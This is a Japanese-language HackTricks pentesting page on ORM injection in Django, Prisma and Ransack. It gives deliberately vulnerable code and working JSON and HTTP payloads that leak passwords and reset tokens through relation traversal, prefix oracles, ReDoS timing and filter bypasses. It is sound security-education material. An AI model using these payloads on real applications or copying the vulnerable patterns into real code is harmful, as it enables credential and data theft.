hacktricks/src/pentesting-web/orm-injection.md

301 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ORM Injection
{{#include ../banners/hacktricks-training.md}}
## Django ORM (Python)
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます。
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
ユーザーが記事を検索するためにリクエストを送信する基本的なAPIビュー
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
すべてのrequest.dataこれはjsonになりますが**データベースからオブジェクトをフィルタリングするために**直接渡されることに注意してください。攻撃者は予期しないフィルタを送信することで、予想以上のデータを漏洩させることができます。
例:
- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
```json
{
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> パスワードをブルートフォースして漏洩させることが可能です。
- **リレーショナルフィルタリング**: 操作に使用されることすら予期されていなかった列から情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> すべての記事を作成したユーザーのパスワードを見つけることが可能です。
- **多対多のリレーショナルフィルタリング**: 前の例では、記事を作成していないユーザーのパスワードを見つけることができませんでした。しかし、他のリレーションシップに従うことで、これは可能です。例えば: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます前のJSONではユーザー名のみを漏洩させていますが、その後にパスワードを漏洩させることが可能です
- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトではこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスするためのデフォルトの方法**です。
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **フィルター制限のバイパス**: 同じブログ投稿では、`articles = Article.objects.filter(is_secret=False, **request.data)`のようなフィルタリングの使用をバイパスすることが提案されました。is_secret=Trueのアーティクルをダンプすることが可能です。なぜなら、リレーションシップからArticleテーブルに戻ることができ、非秘密の記事から秘密の記事を漏洩させることができるからです。結果は結合され、is_secretフィールドは非秘密の記事でチェックされる一方で、データは秘密の記事から漏洩します。
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> リレーションシップを悪用することで、表示されるデータを保護するためのフィルターをバイパスすることが可能です。
- **エラー/時間ベースのReDoS**: 前の例では、フィルタリングが機能しているかどうかによって異なる応答が得られることが期待されていましたが、データベースで何らかのアクションが行われ、応答が常に同じである可能性もあります。このシナリオでは、データベースエラーを発生させて新しいオラクルを得ることが可能かもしれません。
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
- **SQLite**: デフォルトではregexpオペレーターがありませんサードパーティの拡張機能を読み込む必要があります
- **PostgreSQL**: デフォルトのregexタイムアウトがなく、バックトラッキングに対してより耐性があります
- **MariaDB**: regexタイムアウトがありません
## Prisma ORM (NodeJS)
以下は[**この投稿から抽出されたトリック**](https://www.elttam.com/blog/plorming-your-primsa-orm/)です。
- **完全な検索制御**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
全てのjavascriptボディがprismaに渡されてクエリを実行することが可能です。
元の投稿の例では、これは誰かによって作成されたすべての投稿をチェックし(各投稿は誰かによって作成されます)、その誰かのユーザー情報(ユーザー名、パスワードなど)も返します。
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
次のものは、パスワードを持つ誰かによって作成されたすべての投稿を選択し、パスワードを返します:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **完全な where 句の制御**:
攻撃者が `where` 句を制御できる状況を見てみましょう:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // ORM Leaks に対して脆弱
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
ユーザーのパスワードを直接フィルタリングすることが可能です:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> `startsWith`のような操作を使用すると、情報が漏洩する可能性があります。
- **多対多のリレーショナルフィルタリングのバイパス:**
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
`Category` -\[\*..\*]-> `Article` の多対多の関係を利用して、未発表の記事を漏洩させることが可能です。
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
すべてのユーザーを漏洩させることも、ループバックの多対多の関係を悪用することで可能です:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **Error/Timed queries**: 元の投稿では、時間ベースのペイロードを使用して情報を漏洩させるための最適なペイロードを見つけるために実施された非常に広範なテストセットを読むことができます。これは次の通りです:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
`{CONTAINS_LIST}` は、**正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
## **Ransack (Ruby)**
これらのトリックは [**この投稿で見つかりました**](https://positive.security/blog/ransack-data-exfiltration)**。**
> [!TIP]
> **Ransack 4.0.0.0 では、検索可能な属性と関連付けのために明示的な許可リストの使用が強制されることに注意してください。**
**脆弱な例:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、次のようにリセットトークンをブルートフォースすることが可能でした:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
ブルートフォース攻撃と潜在的な関係を利用することで、データベースからより多くのデータを漏洩させることが可能でした。
## 参考文献
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}